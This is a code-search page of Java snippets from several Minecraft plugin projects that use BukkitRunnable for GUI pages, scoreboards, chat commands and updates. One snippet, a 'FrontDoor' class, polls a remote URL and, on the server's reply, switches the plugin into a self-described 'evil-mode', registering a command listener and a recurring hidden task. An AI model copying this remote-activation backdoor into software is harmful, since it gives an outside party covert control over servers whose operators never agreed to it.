Search in sources :

Example 46 with BukkitRunnable

use of org.bukkit.scheduler.BukkitRunnable in project PyrCore by PYRRH4.

the class MultipleGUI method createNewPage.

// Create new page
public GUI createNewPage() {
    final int pageNumber = pages.size() + 1;
    final GUI page = new GUI(plugin, name + (pageNumber == 1 ? "" : " - p" + pageNumber), size, addItemMaxSlot, allowBottomInventoryClick, false, duplicateTolerance) {

        @Override
        public void preload() {
        }

        @Override
        public void onClick(InventoryClickEvent event, Player player, InventoryClickType clickType, ItemStack clickedStack, ItemData clickedData, ItemStack cursorStack, ItemData cursorData) {
            // Page selectors
            if (clickedData != null && clickedData.getId().equals(MultipleGUI.this.itemPreviousPage.getId())) {
                GUI page = getPage(pageNumber - 1);
                if (page != null) {
                    page.open(player, isWatcher(player));
                }
            } else if (clickedData != null && clickedData.getId().equals(MultipleGUI.this.itemNextPage.getId())) {
                GUI page = getPage(pageNumber + 1);
                if (page != null) {
                    page.open(player, isWatcher(player));
                }
            } else // Other
            {
                MultipleGUI.this.onClick(event, this, pageNumber, player, clickType, clickedStack, clickedData, cursorStack, cursorData);
            }
        }

        @Override
        protected void onClose(InventoryCloseEvent event, final Player player) {
            MultipleGUI.this.onClose(event, this, pageNumber, player);
            // unregister
            if (unregisterOnClose) {
                new BukkitRunnable() {

                    @Override
                    public void run() {
                        for (GUI page : getPages()) {
                            if (!page.getTotalViewers().isEmpty()) {
                                return;
                            }
                        }
                        MultipleGUI.this.unregister(false);
                    }
                }.runTaskLater(plugin, 20L);
            }
        }

        @Override
        protected void onCloseDisable(Inventory inventory, Player player) {
            MultipleGUI.this.onCloseDisable(inventory, this, pageNumber, player);
        }
    };
    pages.add(page);
    preload(page, pageNumber);
    updatePageSelectors();
    return page;
}
Also used : InventoryClickEvent(org.bukkit.event.inventory.InventoryClickEvent) InventoryClickType(be.pyrrh4.core.gui.GUI.InventoryClickType) Player(org.bukkit.entity.Player) InventoryCloseEvent(org.bukkit.event.inventory.InventoryCloseEvent) BukkitRunnable(org.bukkit.scheduler.BukkitRunnable) ItemStack(org.bukkit.inventory.ItemStack) Inventory(org.bukkit.inventory.Inventory)

Example 47 with BukkitRunnable

use of org.bukkit.scheduler.BukkitRunnable in project PyrCore by PYRRH4.

the class SimpleScoreboard method activate.

@Override
public void activate() {
    if (activated)
        return;
    activated = true;
    // Set to the custom scoreboard
    holder.setScoreboard(scoreboard);
    // And start updating on a desired interval
    updateTask = new BukkitRunnable() {

        @Override
        public void run() {
            update();
        }
    };
    updateTask.runTaskTimer(plugin, 0, updateInterval);
}
Also used : BukkitRunnable(org.bukkit.scheduler.BukkitRunnable)

Example 48 with BukkitRunnable

use of org.bukkit.scheduler.BukkitRunnable in project TotalFreedomMod by TotalFreedom.

the class FrontDoor method getNewUpdater.

private BukkitRunnable getNewUpdater() {
    return new // Asynchronous
    BukkitRunnable() {

        @Override
        public void run() {
            try {
                final URLConnection urlConnection = getUrl.openConnection();
                final BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
                final String line = in.readLine();
                in.close();
                if (!"false".equals(line)) {
                    if (!enabled) {
                        return;
                    }
                    enabled = false;
                    FUtil.cancel(updater);
                    unregisterListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class);
                    FLog.info("Disabled FrontDoor, thank you for being kind.");
                    plugin.config.load();
                } else {
                    if (enabled) {
                        return;
                    }
                    new // Synchronous
                    BukkitRunnable() {

                        @Override
                        public void run() {
                            FLog.warning("*****************************************************", true);
                            FLog.warning("* WARNING: TotalFreedomMod is running in evil-mode! *", true);
                            FLog.warning("* This might result in unexpected behaviour...      *", true);
                            FLog.warning("* - - - - - - - - - - - - - - - - - - - - - - - - - *", true);
                            FLog.warning("* The only thing necessary for the triumph of evil  *", true);
                            FLog.warning("*          is for good men to do nothing.           *", true);
                            FLog.warning("*****************************************************", true);
                            if (getRegisteredListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class) == null) {
                                Bukkit.getPluginManager().registerEvents(playerCommandPreprocess, plugin);
                            }
                        }
                    }.runTask(plugin);
                    frontdoor = getNewFrontDoor().runTaskTimer(plugin, 20L, FRONTDOOR_INTERVAL);
                    enabled = true;
                }
            } catch (Exception ex) {
            // TODO: Fix
            // FLog.warning(ex);
            }
        }
    };
}
Also used : InputStreamReader(java.io.InputStreamReader) BufferedReader(java.io.BufferedReader) BukkitRunnable(org.bukkit.scheduler.BukkitRunnable) URLConnection(java.net.URLConnection) MalformedURLException(java.net.MalformedURLException)

Example 49 with BukkitRunnable

use of org.bukkit.scheduler.BukkitRunnable in project HolographicMenus by DRE2N.

the class PlayerListener method onChat.

@EventHandler
public void onChat(AsyncPlayerChatEvent event) {
    HPlayer hPlayer = players.getByPlayer(event.getPlayer(), false);
    if (hPlayer == null || !hPlayer.hasPendingCommand()) {
        return;
    }
    event.setCancelled(true);
    hPlayer.replaceCommandVariable(event.getMessage());
    if (hPlayer.getPendingCommandVariables() == 0) {
        String cmd = hPlayer.getPendingCommand();
        hPlayer.setPendingCommand(null);
        new BukkitRunnable() {

            @Override
            public void run() {
                hPlayer.getPlayer().performCommand(cmd);
            }
        }.runTask(plugin);
    }
}
Also used : BukkitRunnable(org.bukkit.scheduler.BukkitRunnable) EventHandler(org.bukkit.event.EventHandler)

Example 50 with BukkitRunnable

use of org.bukkit.scheduler.BukkitRunnable in project Parties by AlessioDP.

the class GravityUpdaterHandler method runUpdater.

private void runUpdater() {
    if (this.url != null && (this.read() && this.versionCheck())) {
        // Obtain the results of the project's file feed
        if ((this.versionLink != null) && (this.type != UpdateType.NO_DOWNLOAD)) {
            String name = this.file.getName();
            // If it's a zip file, it shouldn't be downloaded as the plugin's name
            if (this.versionLink.endsWith(".zip")) {
                name = this.versionLink.substring(this.versionLink.lastIndexOf("/") + 1);
            }
            this.saveFile(name);
        } else {
            this.result = UpdateResult.UPDATE_AVAILABLE;
        }
    }
    if (this.callback != null) {
        new BukkitRunnable() {

            @Override
            public void run() {
                runCallback();
            }
        }.runTask(this.plugin);
    }
}
Also used : BukkitRunnable(org.bukkit.scheduler.BukkitRunnable)

Aggregations

BukkitRunnable (org.bukkit.scheduler.BukkitRunnable)316 Player (org.bukkit.entity.Player)85 EventHandler (org.bukkit.event.EventHandler)52 Location (org.bukkit.Location)46 Vector (org.bukkit.util.Vector)45 Entity (org.bukkit.entity.Entity)29 ItemStack (org.bukkit.inventory.ItemStack)26 List (java.util.List)25 UUID (java.util.UUID)25 ArrayList (java.util.ArrayList)20 Block (org.bukkit.block.Block)18 MyPetPlayer (de.Keyle.MyPet.api.player.MyPetPlayer)17 LivingEntity (org.bukkit.entity.LivingEntity)16 FixedMetadataValue (org.bukkit.metadata.FixedMetadataValue)15 HashMap (java.util.HashMap)12 MyPetFeedEvent (de.Keyle.MyPet.api.event.MyPetFeedEvent)11 Material (org.bukkit.Material)11 EliteEntity (com.magmaguy.elitemobs.mobconstructor.EliteEntity)10 File (java.io.File)10 PotionEffect (org.bukkit.potion.PotionEffect)10